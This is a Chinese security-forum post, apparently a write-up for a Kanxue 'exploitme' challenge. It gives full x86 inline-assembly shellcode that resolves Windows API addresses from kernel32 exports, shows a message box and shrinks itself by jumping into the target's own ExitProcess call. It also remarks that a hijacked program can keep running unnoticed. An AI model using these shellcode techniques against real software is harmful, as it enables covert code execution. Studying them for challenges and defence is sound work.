shellcode之小小琢磨

【文章作者】: 安摧
本文沒有什麼東西，只是我在研究exploitme時候的一點心得。文章內容其實很少，所以冠名“小小琢磨”。
高手大致可以飄過。
但是我還是要邀請combojiang大俠閱讀一下本文；因為本文是對閣下的文章的改進。
失誤之處敬請諸位大俠賜教!
呵呵！！！

昨天在研究看雪exploit me挑戰賽中的exploitmeA例子的時候，仔細閱讀了一下combojiang的答案。
文章見：http://bbs.pediy.com/showthread.php?t=57558
combojiang的shellcode確實不凡，包括查詢kernel32.dll的位置，查詢GetProcAddress和MessageBoxA函式的地址，加密解密shellcode.
但是有一個問題，shellcode最終不能使得程式安靜的退出！

在文章中，作者構建shellcode的程式碼如下：

引用:

void  ShellcodeFunc()
{
  unsigned int uLoadLibrary,uGetProcAddress,uKernelBase,uLibHandle;
  unsigned int ImageBase,flen;
  char *FuncName;

  __asm
  {
    ///////////////////////////        // shellcode開始標記，方便擷取shellcode，這裡沒啟用
    //signature of ShellcodeStart
//    _emit 'S'
//    _emit 'h'
//    _emit 'e'
//    _emit 'l'
//    _emit 'l'
//    _emit 'c'
//    _emit 'o'
//    _emit 'd'
//    _emit 'e'
//    _emit 'S'
//    _emit 't'
//    _emit 'a'
//    _emit 'r'
//    _emit 't'    ////////////////////////////

    jmp Start
GetFunc:
    mov eax,ImageBase
    mov eax,[eax+0x3c]
    add eax,ImageBase
    mov eax,[eax+0x78]
    add eax,ImageBase
    mov esi,eax
    mov ecx,[eax+0x18]
    mov eax,[eax+0x20]
    add eax,ImageBase
    mov ebx,eax
    xor edx,edx
FindLoop:
    push ecx
    push esi
    mov eax,[eax]
    add eax,ImageBase
    mov esi,FuncName
    mov edi,eax
    mov ecx,flen
    cld
    rep cmpsb
    pop esi
    je  Found
    inc edx
    add ebx,4
    mov eax,ebx
    pop ecx
    loop FindLoop
Found:
    add esp,4
    mov eax,esi
    mov eax,[eax+0x1c]
    add eax,ImageBase
    shl edx,2
    add eax,edx
    mov eax,[eax]
    add eax,ImageBase
    jmp Founded
    xor eax,eax
Founded:
    ret
  }

  __asm
  {
Start:
    push esi
    push ecx

    xor eax, eax
    xor esi, esi
    mov esi, fs:[esi + 0x18]
    mov eax, [esi+4]
    mov eax, [eax - 0x1c]
find_kernel32_base:
    dec eax
    xor ax, ax
    cmp word ptr [eax], 0x5a4d
    jne find_kernel32_base

    pop ecx
    pop esi
    mov uKernelBase,eax
    mov ImageBase,eax
    mov flen,0x0c
    call LL1
    _emit 'L'
    _emit 'o'
    _emit 'a'
    _emit 'd'
    _emit 'L'
    _emit 'i'
    _emit 'b'
    _emit 'r'
    _emit 'a'
    _emit 'r'
    _emit 'y'
    _emit 'A'
    _emit 0
LL1:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uLoadLibrary,eax

    mov flen,0x0E
    call LL2
    _emit 'G'
    _emit 'e'
    _emit 't'
    _emit 'P'
    _emit 'r'
    _emit 'o'
    _emit 'c'
    _emit 'A'
    _emit 'd'
    _emit 'd'
    _emit 'r'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 0
LL2:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uGetProcAddress,eax

    call l1
    _emit 'u'
    _emit 's'
    _emit 'e'
    _emit 'r'
    _emit '3'
    _emit '2'
    _emit '.'
    _emit 'd'
    _emit 'l'
    _emit 'l'
    _emit 0
l1:
    call uLoadLibrary
    mov uLibHandle,eax
    call l2
    _emit 'M'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 'a'
    _emit 'g'
    _emit 'e'
    _emit 'B'
    _emit 'o'
    _emit 'x'
    _emit 'A'
    _emit 0
l2:
    push uLibHandle
    call uGetProcAddress
    push MB_OK | MB_ICONINFORMATION
    call l3
    _emit 'C'
    _emit 'T'
    _emit 'S'
    _emit 0
l3:
    call l4
    _emit 'A'
    _emit 'n'
    _emit 'C'
    _emit 'u'
    _emit 'i'
    _emit 0
l4:
    push NULL
    call eax
    call l5      //我新增的安靜退出程式的程式碼 ①開始
    _emit 'E'       //呼叫ExitProcess
    _emit 'x'
    _emit 'i'
    _emit 't'
    _emit 'P'
    _emit 'r'
    _emit 'o'
    _emit 'c'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 0
l5:
    push uLibHandle
    call uGetProcAddress
    push NULL
    call eax      //①結束

    ///////////////////////////      //shellcode結束標記，方便擷取shellcode
    //signature of ShellcodeEnd
    _emit 'S'
    _emit 'h'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'c'
    _emit 'o'
    _emit 'd'
    _emit 'e'
    _emit 'E'
    _emit 'n'
    _emit 'd'
    //////////////////////////////
  }
}

其中紅色的程式碼是我做的修改。
修改的目的是顯示標題為CTS，內容為CTS.AnCui的訊息框，並且安靜退出程式（ExitProcess）。

但是這個時候問題來了，緩衝區總長度為512個位元組，可利用的長度為(512-200-4)=308個位元組。
而shellcode和解密部分的加起來要有333個位元組，不夠了！！！

怎麼辦？？？

我的解決辦法是修改從①開始到①結束位置的程式碼為：

引用:

mov eax,00402005h
jmp eax

跳轉到00402005h地址執行。
為什麼這樣做呢？？？

用od開啟檔案exploitmeA，右鍵->查詢->所有模組間呼叫：
會看到下面兩行：

引用:

00402005 call dword ptr [<&KERNEL32.ExitProces kernel32.ExitProcess
00402148 call dword ptr [<&KERNEL32.ExitProces kernel32.ExitProcess

在exploitmeA中，00402005位置的程式碼：

引用:

00401FFB  |.  FF7424 08     push    dword ptr [esp+8]                ; /ExitCode
00401FFF  |.  893D F09A4000 mov     dword ptr [409AF0], edi          ; |
00402005  |.  FF15 28804000 call    dword ptr [<&KERNEL32.ExitProces>; /ExitProcess

在這裡退出程式。
這下子大家理解了吧。

修改後的shellcode為（修改後shellcode總長度308）

引用:

void  ShellcodeFunc()
{
  unsigned int uLoadLibrary,uGetProcAddress,uKernelBase;
  unsigned int ImageBase,flen;
  char *FuncName;

  __asm
  {
    ///////////////////////////
    //signature of ShellcodeStart
//    _emit 'S'
//    _emit 'h'
//    _emit 'e'
//    _emit 'l'
//    _emit 'l'
//    _emit 'c'
//    _emit 'o'
//    _emit 'd'
//    _emit 'e'
//    _emit 'S'
//    _emit 't'
//    _emit 'a'
//    _emit 'r'
//    _emit 't'
    ////////////////////////////

    jmp Start
GetFunc:
    mov eax,ImageBase
    mov eax,[eax+0x3c]
    add eax,ImageBase
    mov eax,[eax+0x78]
    add eax,ImageBase
    mov esi,eax
    mov ecx,[eax+0x18]
    mov eax,[eax+0x20]
    add eax,ImageBase
    mov ebx,eax
    xor edx,edx
FindLoop:
    push ecx
    push esi
    mov eax,[eax]
    add eax,ImageBase
    mov esi,FuncName
    mov edi,eax
    mov ecx,flen
    cld
    rep cmpsb
    pop esi
    je  Found
    inc edx
    add ebx,4
    mov eax,ebx
    pop ecx
    loop FindLoop
Found:
    add esp,4
    mov eax,esi
    mov eax,[eax+0x1c]
    add eax,ImageBase
    shl edx,2
    add eax,edx
    mov eax,[eax]
    add eax,ImageBase
    jmp Founded
    xor eax,eax
Founded:
    ret
  }

  __asm
  {
Start:
    push esi
    push ecx

    xor eax, eax
    xor esi, esi
    mov esi, fs:[esi + 0x18]
    mov eax, [esi+4]
    mov eax, [eax - 0x1c]
find_kernel32_base:
    dec eax
    xor ax, ax
    cmp word ptr [eax], 0x5a4d
    jne find_kernel32_base

    pop ecx
    pop esi
    mov uKernelBase,eax
    mov ImageBase,eax
    mov flen,0x0c
    call LL1
    _emit 'L'
    _emit 'o'
    _emit 'a'
    _emit 'd'
    _emit 'L'
    _emit 'i'
    _emit 'b'
    _emit 'r'
    _emit 'a'
    _emit 'r'
    _emit 'y'
    _emit 'A'
    _emit 0
LL1:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uLoadLibrary,eax

    mov flen,0x0E
    call LL2
    _emit 'G'
    _emit 'e'
    _emit 't'
    _emit 'P'
    _emit 'r'
    _emit 'o'
    _emit 'c'
    _emit 'A'
    _emit 'd'
    _emit 'd'
    _emit 'r'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 0
LL2:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uGetProcAddress,eax

    call l1
    _emit 'u'
    _emit 's'
    _emit 'e'
    _emit 'r'
    _emit '3'
    _emit '2'
    _emit '.'
    _emit 'd'
    _emit 'l'
    _emit 'l'
    _emit 0
l1:
    call uLoadLibrary
    call l2
    _emit 'M'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 'a'
    _emit 'g'
    _emit 'e'
    _emit 'B'
    _emit 'o'
    _emit 'x'
    _emit 'A'
    _emit 0
l2:
    push eax
    call uGetProcAddress
    push MB_OK | MB_ICONINFORMATION
    call l3
    _emit 'C'
    _emit 'T'
    _emit 'S'
    _emit 0
l3:
    call l4
    _emit 'A'
    _emit 'n'
    _emit 'C'
    _emit 'u'
    _emit 'i'
    _emit 0
l4:
    push NULL
    call eax

    mov eax,00402005h
    jmp eax

    ///////////////////////////
    //signature of ShellcodeEnd
    _emit 'S'
    _emit 'h'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'c'
    _emit 'o'
    _emit 'd'
    _emit 'e'
    _emit 'E'
    _emit 'n'
    _emit 'd'
    //////////////////////////////

  }
}

總結：

引用:

在shellcode中，我們要呼叫的函式一般都是我們手動查詢的，但是這個會使用我們大量的可利用緩衝區空間。
這個時候我們可以利用程式中自帶的對我們所需要的函式的呼叫。
使用jmp和call指令，當然call可能更好一點，應為call之後，還可以再返回shellcode部分。

如果call的位置適當，甚至程式不用退出；程式繼續新的一輪執行（比如跳轉到某處異常處理中），而程式使用者不會覺察到任何異常！！！
大概這篇文章只有上面一段比較重要。
但是，各位看客們鼓勵鼓勵俺們原創吧。
哈哈

畢設中，繁忙，偷著樂。

shellcode之小小琢磨

相關文章